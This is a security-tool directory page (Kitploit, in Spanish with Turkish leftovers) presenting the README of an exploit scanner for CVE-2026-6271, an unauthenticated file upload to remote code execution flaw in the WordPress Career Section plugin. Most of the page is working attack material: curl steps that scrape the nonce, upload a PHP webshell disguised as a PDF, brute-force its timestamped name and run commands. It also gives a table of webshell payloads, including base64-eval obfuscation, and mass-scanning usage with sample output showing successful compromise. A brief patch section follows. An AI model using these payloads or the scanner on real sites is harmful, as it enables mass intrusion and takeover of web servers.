Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-6271 — Escáner automatizado para CVE-2026-6271, una carga arbitraria de archivos crítica no autenticada que conduce a RCE en el plugin Career Section de WordPress. Admite escaneo de múltiples hilos, múltiples tipos de shell e integración de proxy. | Kitploit
Herramientas/GitHubGitHub/xxconi/cve-2026-6271
Escáneres de VulnerabilidadesGeneración de PayloadsExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubxxconi/cve-2026-6271

CVE-2026-6271

Escáner automatizado para CVE-2026-6271, una carga arbitraria de archivos crítica no autenticada que conduce a RCE en el plugin Career Section de WordPress. Admite escaneo de múltiples hilos, múltiples tipos de shell e integración de proxy.

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-6271 — Escáner de RCE para el plugin Career Section de WordPress

Plugin: Career Section (career-section) ID de CVE: CVE-2026-6271 Puntuación CVSS: 9.8 (Crítico) Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Tipo de vulnerabilidad: Subida de archivos arbitraria sin autenticación → Ejecución remota de código Versión afectada: <= 1.7 Versión parcheada: 1.8 Fecha de publicación: 13 de mayo de 2026 Investigador: Paolo Tresso — Wordfence


📌 Sobre la vulnerabilidad

El plugin Career Section permite a los propietarios de sitios publicar ofertas de empleo y recopilar solicitudes. Cada página de oferta de empleo incluye un formulario "Apply Now". Este formulario contiene un campo para subir un archivo CV.

En las versiones 1.7 y anteriores, el controlador de subida acepta cualquier tipo de archivo, incluido .php. Dado que el formulario es público y el token CSRF está incrustado en el HTML de la página, esta vulnerabilidad puede explotarse sin necesidad de ninguna cuenta ni privilegio.


⚙️ Análisis técnico

¿Por qué el nonce no ofrece protección?

Los nonces de WordPress son tokens CSRF, no tokens de autenticación. El valor del nonce se incrusta en el HTML de la página para cada visitante:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
</script>

Cualquier visitante no autenticado puede obtener un nonce válido y superar la comprobación de validación.

Falta de validación del tipo de archivo

root@kitploit:~
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // Uzantı kontrolü YOK — .php dahil her şey kabul edilir
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

sanitize_file_name() solo limpia caracteres especiales, no bloquea las extensiones peligrosas.

Directorio de subida

root@kitploit:~
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

En este directorio no existe un archivo .htaccess que impida la ejecución de PHP.


🔴 ¿Por qué es crítico?

RazónDescripción
No requiere autenticaciónNonce incrustado en el HTML público
Sin restricción de tipo de archivoSe aceptan .php, .php5, .phtml
Sin protección .htaccessPHP se ejecuta en el directorio de subida
Nombre de archivo predecibletime()_filename → fuerza bruta de timestamp

🧪 Prueba de concepto (manual)

⚠️ Descargo de responsabilidad: Esta PoC es únicamente con fines educativos. Pruebe solo en sistemas propios o sobre los que tenga permiso explícito por escrito para probar.

Requisitos previos:

  • Plugin Career Section instalado y activo (versión ≤ 1.7)
  • Al menos una oferta de empleo publicada

Paso 1 — Crear el webshell PHP

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > shell.php

Paso 2 — Obtener el nonce

root@kitploit:~
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"

Estructura a buscar en el código fuente de la página:

root@kitploit:~
<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

Paso 3 — Subir el webshell

root@kitploit:~
TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

Paso 4 — Activar el RCE

El nombre del archivo tiene el formato <timestamp>_shell.php. Prueba los timestamps alrededor de $TS:

root@kitploit:~
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell aktif: $URL"
    echo "RCE çıktısı  : $RESULT"
    break
  fi
done

Salida esperada:

root@kitploit:~
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı  : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ Escáner automático

Instalación

root@kitploit:~
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Uso

Objetivo único

root@kitploit:~
python career_section_rce.py -u http://hedef.com

Con URL de oferta directa

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --job-url http://hedef.com/careers/engineer/

Con verificación de shell

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --verify-cmd "whoami"

Escaneo masivo

root@kitploit:~
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt

Aumentar la ventana de timestamp (servidores lentos)

root@kitploit:~
python career_section_rce.py -u http://hedef.com --ts-window 10

Shell completo + Proxy (Burp Suite)

root@kitploit:~
python career_section_rce.py -u http://hedef.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

⚙️ Parámetros

ParámetroAbreviaturaDescripciónPor defecto
--url-uURL de objetivo único—
--list-lArchivo con lista de objetivos—
--threads-tNúmero de hilos10
--output-oArchivo de salidarce_confirmed.txt
--job-url—URL directa de la oferta de empleo—
--shell-name—Nombre del archivo a subirshell.php
--shell-type—Tipo de shellsystem
--verify-cmd—Comando de verificación de RCEid
--ts-window—Ventana de fuerza bruta de timestamp (±s)5
--proxy—URL del proxy—
--timeout—Tiempo de espera de la petición (s)10

💀 Tipos de shell

TipoPayloadDescripción
system<?php system($_GET["cmd"]); ?>Comando básico del sistema
passthru<?php passthru($_GET["cmd"]); ?>Salida cruda
exec<?php echo exec($_GET["cmd"]); ?>Ejecución silenciosa
assert<?php assert($_POST["cmd"]); ?>Eval mediante POST
b64<?php eval(base64_decode($_POST["cmd"])); ?>Ofuscación Base64
fullshell_exec + system + exec fallbackShell de alcance completo

📂 Ubicación de carga del shell

root@kitploit:~
WordPress Kök/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← Shell burada

Acceso directo:

root@kitploit:~
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

📊 Estados de salida del escáner

EstadoDescripción
★ RCE OKShell subido + comando ejecutado con éxito
★ SHELL ALIVEShell accesible, devolvió una respuesta diferente
~ EXEC_DISABLEDShell existe pero exec() deshabilitado en el servidor
? UPLOADEDSubido pero no se encontró el timestamp
- BLOCKEDTipo de archivo bloqueado (versión parcheada)
~ NO_NONCEcsaf_form_nonce no encontrado
~ TIMEOUTTiempo de espera de conexión agotado
~ UNREACHObjetivo inalcanzable

🖥️ Ejemplo de salida del escáner

root@kitploit:~
[*] 3 hedef | CVE-2026-6271 Career Section | threads=10

[★ RCE OK    ] http://hedef1.com
  Nonce     : a1b2c3d4e5  (kaynak: http://hedef1.com/careers/engineer/)
  Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
  RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)

[- BLOCKED   ] http://hedef2.com  (dosya tipi engellendi)
[~ NO_NONCE  ] http://hedef3.com  (csaf_form_nonce bulunamadı)

──────────────────────────────────────────────────────────────
  UPLOADED_RCE_OK         :    1  █
  BLOCKED                 :    1  █
  NO_NONCE                :    1  █
──────────────────────────────────────────────────────────────
  RCE onaylı → rce_confirmed.txt
──────────────────────────────────────────────────────────────

🛡️ Defensa / Parche

MedidaImplementación
Actualización del pluginActualizar a Career Section 1.8 o superior
Bloqueo de ejecución de PHPAñadir .htaccess al directorio de subida
Lista blanca de extensionesAceptar únicamente pdf, doc, docx
Validación MIMEComprobar el contenido real con finfo_file()
Regla WAFBloquear las peticiones de subida .php

.htaccess para el directorio wp-content/uploads/cs_applicant_submission_files/:

root@kitploit:~
<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>

Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

📁 Estructura de archivos

root@kitploit:~
cve-2026-6271-scanner/
├── career_section_rce.py   # Ana tarayıcı
├── requirements.txt        # Bağımlılıklar
└── README.md               # Bu dosya

⚠️ Aviso legal

Esta herramienta y su PoC están preparadas para usarse únicamente en sistemas autorizados, con fines educativos y dentro del ámbito de las pruebas de penetración. Su uso en sistemas sin autorización constituye un delito conforme a los artículos 243-245 del Código Penal turco y a las leyes internacionales sobre delitos informáticos. El desarrollador no acepta ninguna responsabilidad legal derivada del uso indebido de esta herramienta.


📄 Licencia

MIT License — Solo con fines educativos y de investigación.


🔗 Referencias

  • Aviso de Wordfence
  • Directorio de plugins de WordPress — Career Section
  • Calculadora CVSS 3.1
Descargar herramienta